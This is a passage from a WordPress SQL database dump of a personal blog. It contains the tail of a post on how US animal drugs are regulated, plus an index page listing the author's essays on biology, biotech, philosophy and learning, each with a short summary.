are regulated by the USDA<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-3-146251914\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Literally all of these paths are easier than doing human drugs. While you generally have to show safety and efficacy<a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-4-146251914\">4</a>, you can do a lot of work in your target species, including efficacy studies if you can figure out how to do it ethically. The stricter, IRB-type regulations only come in when you deal with client-owned pets or livestock, but, even still, injuring or killing someone’s pet is not as serious as injuring or killing a person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only additional burdens that these regulatory paths can pose that would not be a problem in human drugs is, well, how they’d impact humans. Not only do people sometimes eat the animals that are given drugs (hopefully only if they’re livestock), but even pet animals sometimes poop in humans’ beds or lick their faces. It would be really bad if people got sick from the drugs those animals were taking.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, developing animal drugs is cheaper and simpler than developing human drugs. The regulators themselves reflect that, too. The animal FDA regulators are, generally, friendlier than the human FDA regulators, and tend to be more “veterinarians who are temporary regulators” than the full-time, professional regulators of the human FDA. This is generally a good thing for drug companies, although the lack of sophistication of the animal FDA can sometimes be a detriment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This lack of regulation extends to the payer environment, too. Vets can technically prescribe any drug they want to, they usually have their own pharmacy, and almost all veterinary spending (about 85%) is out of pocket by the owner of the animal. So, all the complicated bits of dealing with insurance, pharmacy benefit managers, and Medicare are thrown out of the window.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, this also impacts revenue. There’s only so much people can pay out of pocket (or are willing to for their animals), and animal drugs that cost more than, say, $10k/year are still so niche as to be almost non-existent. My rule of thumb is that drugs developed for animals cost 10x less than their comparable drugs in humans, but also they make 10x less in revenue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s my super short rundown of the animal regulatory environment. I tried not to get too into the weeds, but I thought it’d be helpful to give people a broad overview.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-1-146251914\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is similar to how people oversimplify by referring to the FDA as a whole, when, actually, the FDA regulates a ton of things, and different departments regulate differently. Even in drugs, it makes a big difference whether your drug ends up being regulated by CDER, which handles normal drugs, or CBER, which handles biologics. Then it can make a big difference which department in the FDA is regulating your drug, because the Division of Neurology is a very different vibe than the Division of Oncology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-2-146251914\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is actually a super interesting regulatory pathway. If an animal drug treats a rare disease or a minor species, defined as not horses, dogs, cats, cattle, pigs, turkeys, or chickens, and people won’t eat the animal while it’s getting the drug, the drug has a very low bar for getting approved. Often, you don’t need to run any real studies at all. The most common place this path comes up is in aquaculture when dealing with fish fry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-3-146251914\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Basically, when the regulatory paths were set up, the only biologics that existed were vaccines for livestock, which the USDA claimed as their territory. Now the world is very different, and the best-selling drugs in animals are pet monoclonal antibodies, but still the USDA holds onto its fiefdom. I haven’t had to deal with the USDA so my information about them is secondhand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-short-rundown-of-how-animal-drugs#footnote-anchor-4-146251914\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The exceptions are in MUMS, as I explain in footnote 2, and, recently, in drugs which get a “reasonable expectation of effectiveness” nod or RXE. If you successfully argue to the FDA that your animal disease is both important and difficult to run an efficacy trial in, you can get your drug temporarily approved for sale for 4.5 years as you run that efficacy trial. Then, at the end of the 5th year, your drug is either actually approved or pulled off the market. This is a weird pathway, but potentially very lucrative and everyone in the animal health space is watching it. If you’re aware of Loyal, it’s the one that Loyal is going down for its dog aging drug.&nbsp;</p>\n<!-- /wp:paragraph -->','A short rundown of how animal drugs are regulated','','inherit','closed','closed','','470-revision-v1','','','2025-07-03 19:01:27','2025-07-03 19:01:27','',470,'https://trevorklee.com/?p=471',0,'revision','',0),
(472,1,'2025-07-03 19:02:06','2025-07-03 19:02:06','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph 